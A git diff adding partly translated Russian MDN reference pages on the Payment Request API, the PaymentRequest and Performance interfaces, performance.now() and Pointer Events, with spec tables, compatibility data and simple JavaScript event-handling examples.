Many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete. The Payment Request API is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout forms. It aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a HTML form.

+ +

Advantages of using the Payment Request API with "basic-card" (card-based payments):

+ + + +

To request a payment, a web page creates a {{domxref("PaymentRequest")}} object in response to a user action that initiates a payment, such as clicking a "Purchase" button. The PaymentRequest allows the web page to exchange information with the user agent while the user provides input to complete the transaction.

+ +

You can find a complete guide in Using the Payment Request API.

+ +
+

Note: The API is available inside cross-origin {{htmlelement("iframe")}} elements only if they have had the {{htmlattrxref("allowpaymentrequest","iframe")}} attribute set on them.

+
+ +

Interfaces

+ +
+
{{domxref('PaymentAddress')}}
+
An object that contains address information; used for billing and shipping addresses, for example.
+
{{domxref('PaymentRequest')}}
+
An object that provides the API for creating and managing the {{Glossary("user agent", "user agent's")}} payment interface.
+
{{domxref('PaymentRequestEvent')}}
+
An event delivered to a payment handler when a {{domxref("PaymentRequest")}} is made.
+
{{domxref('PaymentRequestUpdateEvent')}}
+
Enables the web page to update the details of the payment request in response to a user action.
+
{{domxref('PaymentMethodChangeEvent')}}
+
Represents the user changing payment instrument (e.g., switching from a credit card to debit card).
+
{{domxref('PaymentResponse')}}
+
An object returned after the user selects a payment method and approves a payment request.
+
{{domxref('MerchantValidationEvent')}}
+
Represents the browser requiring the merchant (website) to validate themselves as allowed to use a particular payment handler (e.g., registered as allowed to use Apple Pay).
+
+ +
+
+ +

Dictionaries

+ +
+
{{domxref("AddressErrors")}}
+
A dictionary containing strings providing descriptive explanations of any errors in any {{domxref("PaymentAddress")}} entries which have errors.
+
{{domxref("PayerErrors")}}
+
A dictionary containing strings providing descriptive explanations of any errors in related to {{domxref("PaymentResponse")}}'s email, phone, and name attributes.
+
{{domxref("PaymentDetailsUpdate")}}
+
An object describing changes that need to be made to the payment details in the event that the server needs to update information following the instantiation of the payment interface but before the user begins to interact with it.
+
+ + + +
+
{{domxref("BasicCardChangeDetails")}}
+
An object providing redacted address information that is provided as the {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} on the {{event("paymentmethodchange")}} event sent to the {{domxref("PaymentRequest")}} when the user changes payment information.
+
{{domxref("BasicCardErrors")}}
+
An object providing any error messages associated with the fields in the {{domxref("BasicCardResponse")}} object that are not valid. This is used as the value of the {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} property on the {{domxref("PaymentValidationErrors")}} object sent to the {{domxref("PaymentRequest")}} when an error occurs.
+
{{domxref('BasicCardRequest')}}
+
Defines an object structure for containing payment request details such as card type.
+
{{domxref('BasicCardResponse')}}
+
Defines an object structure for payment response details such as the number/expiry date of the card used to make the payment, and the billing address.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Payment')}}{{Spec2('Payment')}}Initial definition.
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}Defines {{domxref("BasicCardRequest")}} and {{domxref("BasicCardResponse")}}, among other things needed for handling credit card payment
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}Defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the W3C.
+ +

Browser compatibility

+ +
+

PaymentRequest interface

+ +
+ + +

{{Compat("api.PaymentRequest", 0)}}

+
+
+ +

See also

+ + diff --git a/files/ru/web/api/paymentrequest/index.html b/files/ru/web/api/paymentrequest/index.html new file mode 100644 index 0000000000..8f3f1eca7f --- /dev/null +++ b/files/ru/web/api/paymentrequest/index.html @@ -0,0 +1,112 @@ +--- +title: PaymentRequest +slug: Web/API/PaymentRequest +tags: + - API + - Payment Request API + - PaymentRequest + - Деньги + - Интерфейс + - Коммерция + - Оплата + - Платежи +translation_of: Web/API/PaymentRequest +--- +
{{securecontext_header}}{{APIRef("Payment Request API")}}
+ +

The Payment Request API's PaymentRequest interface the primary access point into the API, and lets web content and apps accept payments from the end user on behalf of the operator of the site or the publisher of the app.

+ +

Конструктор

+ +
+
{{domxref('PaymentRequest.PaymentRequest()','PaymentRequest()')}} {{securecontext_inline}}
+
Создаёт новый PaymentRequest объект.
+
+ +

Свойства

+ +
+
{{domxref('PaymentRequest.id')}} {{readonlyinline}}{{securecontext_inline}}
+
Уникальный идентификатор для конкретного запроса PaymentRequest, который можно задать через details.id. Если ничего не задано, по умолчанию используется UUID.
+
{{domxref('PaymentRequest.shippingAddress')}} {{readonlyinline}} {{securecontext_inline}}
+
If requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping. This property is only populated if the constructor is called with the requestShipping flag set to true. Additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to complete the transaction (i.e., they hit "Pay").
+
{{domxref('PaymentRequest.shippingOption')}} {{readonlyinline}} {{securecontext_inline}}
+
Возвращает идентификатор выбранного варианта доставки. Это свойство заполняется только в том случае, если конструктор вызывается с флагом requestShipping, установленным в значение true.
+
{{domxref('PaymentRequest.shippingType')}} {{readonlyinline}} {{securecontext_inline}}
+
Returns the type of shipping used to fulfill the transaction. This will be one of shipping, delivery, pickup, or null if a value was not provided in the constructor.
+
+ +
+
+ +

Методы

+ +
+
{{domxref('PaymentRequest.canMakePayment()')}} {{securecontext_inline}}
+
Indicates whether the PaymentRequest object can make a payment before calling show().
+
+ +
+
{{domxref('PaymentRequest.show()')}} {{securecontext_inline}}
+
Causes the user agent to begin the user interaction for the payment request.
+
{{domxref('PaymentRequest.abort()')}} {{securecontext_inline}}
+
Causes the user agent to end the payment request and to remove any user interface that might be shown.
+
+ +

События

+ +
+
{{domxref("PaymentRequest.merchantvalidation_event", "merchantvalidation")}} {{securecontext_inline}}
+
With some payment handlers (e.g., Apple Pay), this event handler is called to handle the {{event("merchantvalidation")}} event, which is dispatched when the user agent requires that the merchant validate that the merchant or vendor requesting payment is legitimate.
+ Also available using the {{domxref("PaymentRequest.onmerchantvalidation", "onmerchantvalidation")}} event handler property.
+
{{domxref("PaymentRequest.paymentmethodchange_event", "paymentmethodchange")}} {{securecontext_inline}}
+
With some payment handlers (e.g., Apple Pay), dispatched whenever the user changes payment instrument, like switching from a credit card to a debit card.
+ Also available using the {{domxref("PaymentRequest.onpaymentmethodchange", "onpaymentmethodchange")}} event handler property.
+
{{domxref("PaymentRequest.shippingaddresschange_event", "shippingaddresschange")}} {{securecontext_inline}}
+
Срабатывает каждый раз, когда пользователь меняет вариант доставки.
+ Также доступно с использованием HTML атрибута {{domxref("PaymentRequest.onshippingaddresschange", "onshippingaddresschange")}}.
+
{{domxref("PaymentRequest.shippingoptionchange_event", "shippingoptionchange")}} {{securecontext_inline}}
+
Срабатывает каждый раз, когда пользователь меняет вариант доставки.
+ Также доступно с использованием HTML атрибута {{domxref("PaymentRequest.onshippingoptionchange", "onshippingoptionchange")}}.
+
+ +

Характеристики

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Payment','#paymentrequest-interface','PaymentRequest')}}{{Spec2('Payment')}}Initial definition.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.PaymentRequest")}}

+
+ +
+ +
+
+
+
+ +
+ +
+
+ +
+
+
diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html new file mode 100644 index 0000000000..bebba70e41 --- /dev/null +++ b/files/ru/web/api/performance/index.html @@ -0,0 +1,106 @@ +--- +title: Performance +slug: Web/API/Performance +tags: + - API + - Navigation Timing + - NeedsTranslation + - Performance + - TopicStub +translation_of: Web/API/Performance +--- +
{{APIRef("Navigation Timing")}}
+ +

Интерфейс Performance представляет информацию о производительности страницы с временными метками.

+ +

Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.

+ +
+

Замечание: Этот интерфейс и его составляющие доступны в фоновых потоках выполнения, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации Performance Timeline и User Timing). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.

+
+ +

Свойства

+ +

Интерфейс Performance не наследует никаких других свойств.

+ +
+
{{domxref("Performance.navigation")}} {{readonlyInline}}
+
Объект {{domxref("PerformanceNavigation")}}, представляющий тип навигации в текущем контексте браузера, как, например, количество перенаправлений, которые нужно пройти, чтобы получить ресурс. Not available in workers.
+
+ +
+
{{domxref("Performance.onresourcetimingbufferfull")}}
+
Функция обратного вызова, реализующая интерфейс {{domxref("EventTarget")}}, вызываемая при наступлении события {{event("resourcetimingbufferfull")}}.
+
+ +
+
{{domxref("Performance.timing")}} {{readonlyInline}}
+
Объект {{domxref("PerformanceTiming")}}, содержащий информацию о производительности, связанной со временем задержек. Not available in workers.
+
+ +

Методы

+ +

Интерфейс Performance не наследует других методов.

+ +
+
{{domxref("Performance.clearMarks()")}}
+
Удаляет из буфера записей производительности браузера указанную временну́ю метку.
+
{{domxref("Performance.clearMeasures()")}}
+
Удаляет из буфера записей производительности браузера указанное измерение.
+
{{domxref("Performance.clearResourceTimings()")}}
+
Удаляет все {{domxref("PerformanceEntry","записи о производительности")}} со свойством {{domxref("PerformanceEntry.entryType","entryType")}} равным "resource" из буфера данных производительности браузера.
+
{{domxref("Performance.getEntries()")}}
+
Возвращает список объектов {{domxref("PerformanceEntry")}}, руководствуясь переданным аргументом filter.
+
{{domxref("Performance.getEntriesByName()")}}
+
Возвращает список объектов {{domxref("PerformanceEntry")}}, руководствуясь аргументами name (название) and entry type (тип записи).
+
{{domxref("Performance.getEntriesByType()")}}
+
Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, типа записи.
+
{{domxref("Performance.mark()")}}
+
Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в буфере записей производительности.
+
{{domxref("Performance.measure()")}}
+
Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как start mark (начальная метка) и end mark (конечная метка), соответственно).
+
{{domxref("Performance.now()")}}
+
Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество милисекунд, прошедших с начала момента отсчета.
+
{{domxref("Performance.setResourceTimingBufferSize()")}}
+
Устанавливает размер буфера измерения ресурсов браузера равным указанному числу объектов {{domxref("PerformanceEntry","записей производительности")}} {{domxref("PerformanceEntry.entryType","типа")}} "resource".
+
{{domxref("Performance.toJSON()")}}
+
Возвращает json объект, представляющий объект Performance.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time', '#sec-extenstions-performance-interface', 'Performance')}}{{Spec2('Highres Time')}}Добавлен метод now()
{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}{{Spec2('Navigation Timing')}}Начальное определение.
+ +

Совместимость с браузерами

+ +
+
+ + +

{{Compat("api.Performance")}}

+
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html new file mode 100644 index 0000000000..ca825b059f --- /dev/null +++ b/files/ru/web/api/performance/now/index.html @@ -0,0 +1,138 @@ +--- +title: performance.now() +slug: Web/API/Performance/now +tags: + - API + - Performance + - Web Performance API +translation_of: Web/API/Performance/now +--- +

{{APIRef("Navigation Timing")}}

+ +

Краткое описание

+ +

Метод performance.now() возращает временную метку {{domxref("DOMHighResTimeStamp")}}, измеряемую в миллисекундах, с точностью до одной тысячной миллисекунды.

+ +

Значение, представленное типом {{domxref("DOMHighResTimeStamp")}}, изменяется в зависимости от контекста. Стоит иметь ввиду следующее:

+ + + +

Синтаксис

+ +
t = performance.now();
+ +

Пример

+ +
var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.")
+
+ +

В отличие от других временны́х типов данных, доступных в JavaScript (таких как Date.now), метки времени, возвращенные из performance.now(), не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.

+ +

Также, в противоположность Date.now, значение, возвращаемое из performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени (которое может быть установленно вручную или изменено программами наподобие NTP).

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Highres Time Level 2', '#dom-performance-now', 'Performance.now()')}}{{Spec2('Highres Time Level 2')}}Более строгие определения типов и интерфейсов.
{{SpecName('Highres Time', '#dom-performance-now', 'Performance.now()')}}{{Spec2('Highres Time')}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("20.0") }} {{ property_prefix("webkit") }}
+ {{ CompatChrome("24.0") }} [1]		{{ CompatGeckoDesktop("15.0") }}10.0{{ CompatOpera("15.0") }}{{ CompatSafari("8.0") }}
on Web workers{{CompatChrome("33")}}{{ CompatGeckoDesktop("34.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatAndroid("4.0") }}{{ CompatChrome("25.0") }}{{ CompatGeckoMobile("15.0") }}10.0{{CompatNo}}{{CompatNo}}
on Web workers{{CompatUnknown}}{{CompatUnknown}}{{ CompatGeckoMobile("34.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Версии Chrome от 20 до 33 под Windows, на момент написания этого документа, возвращает performance.now() с точностью только до миллисекунд.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/pointer_events/index.html b/files/ru/web/api/pointer_events/index.html new file mode 100644 index 0000000000..4108763c30 --- /dev/null +++ b/files/ru/web/api/pointer_events/index.html @@ -0,0 +1,504 @@ +--- +title: События указателя +slug: Web/API/Pointer_events +translation_of: Web/API/Pointer_events +--- +

{{DefaultAPISidebar("Pointer Events")}}

+ +

Бо́льшая часть современного веб-контента предполагает, что указывающим устройством пользователя является мышь. Но поскольку многие устройства поддерживают другие типы указателей, таких как перо/стилус или сенсорная поверхность, возникает необходимость в расширении существующих событий указывающих устройств. Эту потребность удовлетворяют События указателя.

+ +

События указателя – это события DOM, которые вызываются для указывающего устройства. Они предназначены для создания единой модели обработки действий мыши, пера/стилуса или касания (одним или несколькими пальцами).

+ +

Указывающее устройство – это устройство, способное нацеливаться на определённый набор координат экрана. Наличие единой модели событий для указывающих устройств позволяет разработчикам проще создавать веб-сайты и приложения, а пользователям обеспечивает удобство использования вне зависимости от устройства.

+ +

События, необходимые для обработки общего ввода указывающих устройств, аналогичны {{domxref("MouseEvent","событиям мыши")}} (mousedown/pointerdown, mousemove/pointermove, и так далее.). Следовательно, типы событий указывающих устройтв намеренно похожи на события мыши.

+ +

В дополнение к обычным свойствам, представленным и в событиях мыши (координаты, целевой элемент, состояния кнопок и так далее) события ввода у разных указывающих устройств содержат и уникальные свойства: степень давления, форма области контакта, наклон и так далее. На самом деле, интерфейс {{domxref("PointerEvent")}} наследует все свойства {{domxref("MouseEvent")}}, облегчая так образом перенос содержимого из событий мыши в события указывающего устройства.

+ +

Терминология

+ +
+
Cостояние активных кнопок
+
Ситуация, когда указывающее устройство имеет ненулевое значение свойства buttons. Например, в случае с пером, это ситуация, когда перо физически контактирует с сенсорной поверхностью. или хотя бы одна кнопка нажата при наведении курсора.
+
Активное указывающее устройство
+
Любое указывающее устройство ввода, которое может производить события. Указывающее устройство считается активным, пока может производить события. Например, перо, которым консулись экрана, считается активным, поскольку может производить дополнительные события при поднятии или перемещении.
+
Графический планшет (диджитайзер)
+
Устройство с чувствительным покрытием, которое может фиксировать контакт. Чаще всего, это устройство с сенсорным экраном, который может распознавать касания указывающего устройства, такого как перо, стилус или палец. Некоторые сенсорные устройства могут определять приближение указателя и представлять это состояние как наведение мыши.
+
Тест попадания (hit test)
+
Процесс, который браузер использует при определении целевого элемента для события указывающего устройства. Обычно заключается в сопоставлении позиции указателя и визуальной области элементов на экране.
+
Указатель (указывающее устройство)
+
Представление устройства ввода, которое может нацеливаться на определённую координату (или набор координат) на экране. Примером указателя может быть мышь, перо/стилус и прикосновение.
+
Захват указателя
+
Захват указателя позволяет событиям этого указателя быть перенаправленными на элемент, отличный обычного результата проверки попадания (hit test)
+
Событие указателя
+
{{domxref("PointerEvent","Событие")}} DOM , вызванное для указателя.
+
+ +

Интерфейсы

+ +

Основным интерфейсом является {{domxref("PointerEvent")}}, который имеет {{domxref("PointerEvent.PointerEvent","constructor")}} плюс несколько типов событий и связанные с ними глобальные обработчики событий.

+ +

Стандарт также включает некоторые расширения для интерфейсов {{domxref("Element")}} и {{domxref("Navigator")}}.

+ +

Следующие подразделы содержат краткое описание каждого интерфейса и свойства.

+ +

Интерфейс PointerEvent

+ +

Интерфейс {{domxref("PointerEvent")}} расширяет интерфейс {{domxref("MouseEvent")}} и имеет следующие свойства. Все следующие свойства доступны {{readonlyInline}}.

+ +
+
{{ domxref('PointerEvent.pointerId','pointerId')}}
+
Уникальный идентификатор указателя, вызвавшего событие
+
{{ domxref('PointerEvent.width','width')}}
+
Ширина (величина по оси X) в пикселях CSS области контакта указателя с сенсорной поверхностью.
+
{{ domxref('PointerEvent.height','height')}}
+
Высота (величина по оси Y) в пикселях CSS области контакта указателя с сенсорной поверхностью.
+
{{ domxref('PointerEvent.pressure','pressure')}}
+
Степень давления указателя в диапазоне от 0 до 1, где 0 – минимальное, а 1 – максимальное значение давления, которое способно обработать устройство.
+
{{ domxref('PointerEvent.tangentialPressure','tangentialPressure')}}
+
Степень тангенциального давления в диапазоне от 0 до 1, где 0 – минимальное, а 1 – максимальное значение давления, которое способно обработать устройство..
+
{{ domxref('PointerEvent.tiltX','tiltX')}}
+
Угол (в градуса, в диапазоне от -90 до 90) между плоскостью Y-Z и плоскостью, содержащей как ось указателя (например, пера\стилуса), так и ось Y
+
{{ domxref('PointerEvent.tiltY','tiltY')}}
+
Угол (в градуса, в диапазоне от -90 до 90) между плоскостью X-Z и плоскостью, содержащей как ось указателя (например, пера\стилуса), так и ось X
+
{{ domxref('PointerEvent.twist','twist')}}
+
Поворот указывающего устройства (например, пера или стилуса) по часовой стрелке вокруг основной оси в градусах в диапазоне от 0 до 359
+
{{ domxref('PointerEvent.pointerType','pointerType')}}
+
Указывает на тип устройства, которое вызвало событие (мышь, перо, касание и т.д)
+
{{ domxref('PointerEvent.isPrimary','isPrimary')}}
+
Указывает, является ли указывающее устройство основным для данного типа
+
+ +

Типы событий и Глобальные Обработчики Событий

+ +

События указателя имеют 10 типов, 7 из которых похожи на аналогичные события мыши (down, up, move, over, out, enter и leave).

+ +

Ниже представлено короткое описание для каждого типа события и связанный {{domxref("GlobalEventHandlers","Глобальный обработчик события")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СобытиеОбработчик событияОписание
{{event('pointerover')}}{{domxref('GlobalEventHandlers.onpointerover','onpointerover')}}Вызывается, когда указатель появляется в пределах элемента (его теста попадания).
{{event('pointerenter')}}{{domxref('GlobalEventHandlers.onpointerenter','onpointerenter')}}Вызывается, когда указатель перемещается в пределы элемента (его теста попадания) или одного из его потомков, в том числе в результате события pointerdown с устройства, которе не поддерживает наведение "hover" (смотрите pointerdown).
{{event('pointerdown')}}{{domxref('GlobalEventHandlers.onpointerdown','onpointerdown')}}Вызывается, когда указатель принимает состояние активных кнопок.
{{event('pointermove')}}{{domxref('GlobalEventHandlers.onpointermove','onpointermove')}}Вызывается, когда изменяются координаты указателя. Это событие также используется, если изменение состояния указателя нельзя сообщить с помощью других событий.
{{event('pointerup')}}{{domxref('GlobalEventHandlers.onpointerup','onpointerup')}}Вызывается, когда указатель теряет состояние активных кнопок.
{{event('pointercancel')}}{{domxref('GlobalEventHandlers.onpointercancel','onpointercancel')}}Браузер вызывает это событие, если приходит к выводу, что указывающее устройство больше не сможет генерировать события (например, если устройство деактивировано).
{{event('pointerout')}}{{domxref('GlobalEventHandlers.onpointerout','onpointerout')}}Вызывается по нескольким причинам, в том числе: когда указывающее устройство перемещается за пределы элемента (его теста попадания); запуск события pointerup для устройства, которое не поддерживает наведение "hover"; после запуска события pointercancel; когда перо покидает область обнаружения планшетом наведения указателя.
{{event('pointerleave')}}{{domxref('GlobalEventHandlers.onpointerleave','onpointerleave')}}Вызывается, когда указывающее устройство перемещается за пределы элемента (его теста попадания). Для устройств, подобных перу, это событие вызывается, когда перо покидает область обнаружения планшетом наведения указателя.
{{event('gotpointercapture')}}{{domxref('GlobalEventHandlers.ongotpointercapture','ongotpointercapture')}}Вызывается, когда элемент получает захват указывающего устройства.
{{event('lostpointercapture')}}{{domxref('GlobalEventHandlers.onlostpointercapture','onlostpointercapture')}}Запускается после того, как указывающее устройство потеряло захват.
+ +

Расширения элемента

+ +

Существует три расширения интерфейса {{domxref("Element")}}:

+ +
+
{{domxref("Element.setPointerCapture()","setPointerCapture()")}}
+
Определяет определённый элемент в качестве цели захвата для будущих событий указателя.
+
{{domxref("Element.releasePointerCapture()","releasePointerCapture()")}}
+
Этот метод освобождает (прекращает) захватывание указывающим устройством, которое ранее было установлено для определённого события указателя.
+
+ +

Расширение навигатора

+ +

Свойство {{domxref("Navigator.maxTouchPoints")}} используется для определения максимального количества одновременных точек касания, которые поддерживаются в каждый момент времени.

+ +

Примеры

+ +

Этот раздел содержит примеры базового использования интерфейсов событий указывающего устройства.

+ +

Назначение обработчиков событий

+ +

В этом примере определённому элементу назначаются обработчики каждого типа события.

+ +
<html>
+  <script>
+    function over_handler(event) { }
+    function enter_handler(event) { }
+    function down_handler(event) { }
+    function move_handler(event) { }
+    function up_handler(event) { }
+    function cancel_handler(event) { }
+    function out_handler(event) { }
+    function leave_handler(event) { }
+    function gotcapture_handler(event) { }
+    function lostcapture_handler(event) { }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Register pointer event handlers
+      el.onpointerover = over_handler;
+      el.onpointerenter = enter_handler;
+      el.onpointerdown = down_handler;
+      el.onpointermove = move_handler;
+      el.onpointerup = up_handler;
+      el.onpointercancel = cancel_handler;
+      el.onpointerout = out_handler;
+      el.onpointerleave = leave_handler;
+      el.gotpointercapture = gotcapture_handler;
+      el.lostpointercapture = lostcapture_handler;
+    }
+  </script>
+  <body onload="init();">
+    <div id="target"> Touch me ... </div>
+  </body>
+</html>
+
+ +

Свойства события

+ +

Этот пример демонстрирует доступ ко всем свойствам события касания.

+ +
<html>
+  <script>
+    var id = -1;
+
+    function process_id(event) {
+      // Обработка этого события на основе идентификатора события
+    }
+    function process_mouse(event) {
+      // Обработка события мыши
+    }
+    function process_pen(event) {
+      // Обработка события пера
+    }
+    function process_touch(event) {
+      // Обработка события касания
+    }
+    function process_tilt(tiltX, tiltY) {
+      // Обработчик данных наклона
+    }
+    function process_pressure(pressure) {
+      // Обработчик давления
+    }
+    function process_non_primary(event) {
+      // Не основной обработчик
+    }
+
+    function down_handler(ev) {
+      // Вычислить область контакта точки касания
+      var area = ev.width * ev.height;
+
+      // Сравнить сохранённый ID с ID данного события и соответствующим образом обработать
+      if (id == ev.identifier) process_id(ev);
+
+      // Вызвать обработчик нужного типа указателя
+      switch (ev.pointerType) {
+        case "mouse":
+          process_mouse(ev);
+          break;
+        case "pen":
+          process_pen(ev);
+          break;
+        case "touch":
+          process_touch(ev);
+          break;
+        default:
+          console.log("pointerType " + ev.pointerType + " is Not suported");
+      }
+
+      // Вызвать обработчик наклона
+      if (ev.tiltX != 0 && ev.tiltY != 0) process_tilt(ev.tiltX, ev.tiltY);
+
+      // Вызвать обработчик давления
+      process_pressure(ev.pressure);
+
+      // Если это события не является основным, то вызвать не основной обработчик
+      if (!ev.isPrimary) process_non_primary(ev);
+    }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Назначение обработчика события "pointerdown"
+      el.onpointerdown = down_handler;
+    }
+  </script>
+  <body onload="init();">
+    <div id="target"> Touch me ... </div>
+  </body>
+</html>
+
+ +

Определение Основного Указателя

+ +

В некоторых сценариях может быть несколько указывающих устройств (например, устройство с сенсорным экраном и мышкой) или указывающее устройство, поддерживающее несколько контактных точек (например, сенсорный экран, который поддерживает касания несколькими пальцами). Приложение может использовать свойство {{domxref("PointerEvent.isPrimary","isPrimary")}} для определения главного указателя среди набора активных точек каждого указателя. Если будет решено поддерживать только основной указатель, в приложении можно игнорировать все события указателя, не являющегося главным.

+ +

У мышки может только один указатель, поэтому он всегда будет главным. Для сенсорного ввода указатель считается главным, если при этом нет других активных касаний. Для ввода пером или стилусом, указатель считается главным, если при этом нет касаний другими перьями.

+ +

Определение состояний кнопок

+ +

Некоторые указывающие устройства, такие как мышь или перо, поддерживают несколько кнопок, и эти кнопки могут нажиматься одновременно. Например, нажатие кнопки, когда другая кнопка на устройстве уже нажата.

+ +

Для определения состояния нажатия кнопки, события указателя используют свойства {{domxref("MouseEvent.button","button")}} и {{domxref("MouseEvent.buttons","buttons")}} интерфейса {{domxref("MouseEvent")}}, от которого наследуется от{{domxref("PointerEvent")}}.

+ +

В следующей таблице приведены значения button и buttons для различных состояний кнопок устройства.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Состояние кнопок устройстваbuttonbuttons
С последнего события не было ни нажатия кнопок, ни касания пера-1—
Мышь перемещается без нажатых кнопок.
+ Перо перемещается над планшетом в режиме "hover" без нажатых кнопок		—0
Левая кнопка мыши, Касание пальцем, Касание пером01
Средняя кнопка мыши14
Правая кнопка мыши, Кнопка пера22
Кнопка мыши X1 (назад)38
Кнопка мыши X2 (вперёд)416
Кнопка пера "ластик"532
+ +
+

Примечание: Свойство button указывает на изменение состояния кнопки. Однако, как и в случае с касанием, когда одно событие влечёт за собой ещё несколько событий, все они имеют одинаковое значение.

+
+ +

Pointer capture

+ +

Pointer capture allows events for a particular {{domxref("PointerEvent","pointer event")}} to be re-targeted to a particular element instead of the normal hit test at a pointer's location. This can be used to ensure that an element continues to receive pointer events even if the pointer device's contact moves off the element (for example by scrolling).

+ +

The following example shows pointer capture being set on an element.

+ +
<html>
+<script>
+  function downHandler(ev) {
+    let el = document.getElementById("target");
+    // Element 'target' will receive/capture further events
+    el.setPointerCapture(ev.pointerId);
+  }
+
+  function init() {
+    let el = document.getElementById("target");
+    el.onpointerdown = downHandler;
+  }
+</script>
+<body onload="init();">
+  <div id="target"> Touch me ... </div>
+</body>
+</html>
+
+ +

The following example shows a pointer capture being released (when a {{event("pointercancel")}} event occurs. The browser does this automatically when a {{event("pointerup")}} or {{event("pointercancel")}} event occurs.

+ +
<html>
+  <script>
+    function downHandler(ev) {
+      let el = document.getElementById("target");
+      // Element "target" will receive/capture further events
+      el.setPointerCapture(ev.pointerId);
+    }
+
+    function cancelHandler(ev) {
+      let el = document.getElementById("target");
+      // Release the pointer capture
+      el.releasePointerCapture(ev.pointerId);
+    }
+
+    function init() {
+      let el = document.getElementById("target");
+      // Register pointerdown and pointercancel handlers
+      el.onpointerdown = downHandler;
+      el.onpointercancel = cancelHandler;
+    }
+  </script>
+  <body onload="init();">
+    <div id="target"> Touch me ... </div>
+  </body>
+</html>
+
+ +

touch-action CSS property

+ +

The {{cssxref("touch-action")}} CSS property is used to specify whether or not the browser should apply its default (native) touch behavior (such as zooming or panning) to a region. This property may be applied to all elements except: non-replaced inline elements, table rows, row groups, table columns, and column groups.

+ +

A value of auto means the browser is free to apply its default touch behavior (to the specified region) and the value of none disables the browser's default touch behavior for the region. The values pan-x and pan-y, mean that touches that begin on the specified region are only for horizontal and vertical scrolling, respectively. The value manipulation means the browser may consider touches that begin on the element are only for scrolling and zooming.

+ +

In the following example, the browser's default touch behavior is disabled for the div element.

+ +
<html>
+  <body>
+    <div style="touch-action:none;">Can't touch this ... </div>
+  </body>
+</html>
+
+ +

In the following example, default touch behavior is disabled for some button elements.

+ +
button#tiny {
+  touch-action: none;
+}
+
+ +

In the following example, when the target element is touched, it will only pan in the horizontal direction.

+ +
#target {
+  touch-action: pan-x;
+}
+
+ +

Compatibility with mouse events

+ +

Although the pointer event interfaces enable applications to create enhanced user experiences on pointer enabled devices, the reality is the vast majority of today's web content is designed to only work with mouse input. Consequently, even if a browser supports pointer events, the browser must still process mouse events so content that assumes mouse-only input will work as is without direct modification. Ideally, a pointer enabled application does not need to explicitly handle mouse input. However, because the browser must process mouse events, there may be some compatibility issues that need to be handled. This section contains information about pointer event and mouse event interaction and the ramifications for application developers.

+ +

The browser may map generic pointer input to mouse events for compatibility with mouse-based content. This mapping of events is called compatibility mouse events. Authors can prevent the production of certain compatibility mouse events by canceling the pointerdown event but note that:

+ + + +

Best practices

+ +

Here are some best practices to consider when using pointer events:

+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 3')}}{{Spec2('Pointer Events 3')}}Added new APIs for getCoalescedEvent and getPredictedEvents, new pointerrawupdate event, additional touch-action property values pan-left, pan-right, pan-up, pan-down.
{{SpecName('Pointer Events 2')}}{{Spec2('Pointer Events 2')}}Adds hasPointerCapture method and clarifies more edge cases and dynamic scenarios. 
{{SpecName('Pointer Events')}}{{Spec2('Pointer Events')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.PointerEvent")}}

+ +

